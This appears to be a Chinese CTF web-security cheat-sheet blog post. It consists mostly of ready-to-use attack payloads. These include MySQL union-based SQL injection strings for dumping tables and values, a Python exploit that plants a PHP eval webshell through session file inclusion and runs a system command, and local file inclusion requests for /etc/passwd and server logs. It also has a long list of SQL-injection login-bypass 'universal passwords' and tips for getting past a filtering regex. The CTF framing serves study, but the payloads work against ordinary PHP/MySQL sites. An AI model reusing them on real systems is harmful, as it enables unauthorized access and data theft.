webctf

敬请T期待 Lv3

CTF_WEB

SQL注入:联合注入

1、数据库为mysql的爆库、爆表、爆字段、爆值的语句:

爆库:

1
union select 1,2,3,database();#查看此处有多字段

爆表:

1
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #   

爆字段:

1
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; # 

爆值:

1
union select 1,2,3,字段 from 表名; #   

例子:

常规套路:

1、查字段

1
admin'/**/or/**/1=1/**/order/**/by/**/3#admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#

2、查库(web2)

1
admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

3、查表(flag,user)

1
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
1
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#(模板)

4、查字段flag

1
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

5、查字段flag内容

1
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

*

ctfshow_web6_2

ctfshow_web6_3

ctfshow_web6_4

ctfshow_web6_5

注意查找字段图中红色字体错误了,应该为information_schema.columns/**/,图中column少了s

ctfshow_web6_6

ctfshow_web6_7

ctfshow_web6_8

session文件包含

实战例子:

CTFshow/ easy_include

1
2
3
4
5
6
7
8
9
10
<?php

function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
include "file://".$_POST[1];
}

代码解释:

观察cookie,发现自动开启了session,直接session文件包含

如果能获取PHPSESSID
“请求 Cookie”: {
“PHPSESSID”: “a5c4fd8ef729d435160c08a37d20ed7a”
}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
# Author:ctfshow-h1xa

url = "xxx"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1':'localhost/tmp/sess_ctfshow',
'2':'system("cat /flag_is_here.txt");'
}
file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': 'ctfshow'
}
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)

php文件漏洞

get方式查看文件漏洞

1
2
3
4
?url=/etc/passwd  
#GET /?url=/etc/passwd HTTP/1.1
#若出现大串文件,则有文件漏洞
#($_GET['url'])极有可能含有文件漏洞

使用php协议

1
2
3
4
5
6
7
8
9
10
11
12
?url=php://input
#GET /?url=php://input HTTP/1.1
#可以访问请求的原始数据的只读流;
#enctype="multipart/form-data"的时候php://input是无效的;

?url=php://output
#GET /?url=php://output HTTP/1.1
#一个只写的数据流,允许以print和echo一样的方式写入到输出缓冲区

?url=php://fd
#GET /?url=php://fd HTTP/1.1
#允许直接访问指定的文件描述符。例如:php://fd/3引用了文件描述符3.

查看PHP下的文夹使用ls

1
<?php system("ls") ?>

查看php下的文件夹中的文件内容cat

1
<?php system("cat 文件夹名称") ?>

查看文件日志的文件夹

1
?url=/var/log/nginx/access.log

万能密码

‘r 1=1 #

==============

账号: admin
密码:admin

===============

账号:admin
密码:admin888

===============

账号:admin

密码:域名名

==============

asp aspx万能密码

“or ‘a’=”a
‘’)or(‘a’=’a
or 1=1–
‘or 1=1–
a’or’ 1=1–
“or 1=1–
‘or’a’=’a
“or”=”a’=’a
‘or”=’
‘or’=’or’

admin’or 1=1#
‘=’&password=’=’
admin’ or 1=1#
admin’//or//1=1#
admin’/*
*/‘

1 or ‘1’=’1’=1
1 or ‘1’=’1’ or 1=1
‘OR 1=1%00
“or 1=1%00
‘xor## PHP万能密码

‘or’=’or’

‘or 1=1/* 字符型 GPC是否开都可以使用

User: something
Pass: ‘OR ‘1’=’1

jsp 万能密码

1’or’1’=’1

admin’ OR 1=1/*

用户名:admin 系统存在这个用户的时候 才用得上
密码:1’or’1’=’1

万能账号

a’ or true #

账号:…admin’ or ‘a’=’a 密码随便填

正则表达式


/or|-||/|*|<|>|!|x|hex|(|)|+|select/i

  1. /:这个符号表示正则表达式模式的开始和结束。
  2. |:这个符号代表“或”条件,意味着可以匹配两边的任何模式。
  3. \-, \, /, \*, <, >, !, x, hex, (, ), +, select`: 这些是正则表达式将尝试匹配的实际模式。这些模式中的一些代表特定字符,而其他一些代表某些条件。
    • -:匹配破折号字符。
    • \\:匹配反斜杠字符。
    • \/:匹配正斜杠字符。
    • \\*:匹配星号字符。
    • \<:匹配单词的开头。
    • \>:匹配单词的结尾。
    • \!:匹配感叹号字符。
    • x:匹配字母 ‘x’。
    • hex:匹配字符串 ‘hex’。
    • \(:匹配左括号。
    • \):匹配右括号。
    • \+:匹配加号。
    • select:匹配字符串 ‘select’。

可以使用管道符||绕过和使用取反符号~~绕过

  • Title: webctf
  • Author: 敬请T期待
  • Created at : 2024-03-13 12:05:53
  • Updated at : 2024-09-11 21:53:01
  • Link: https://kingwempity.github.io/2024/03/13/webctf/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments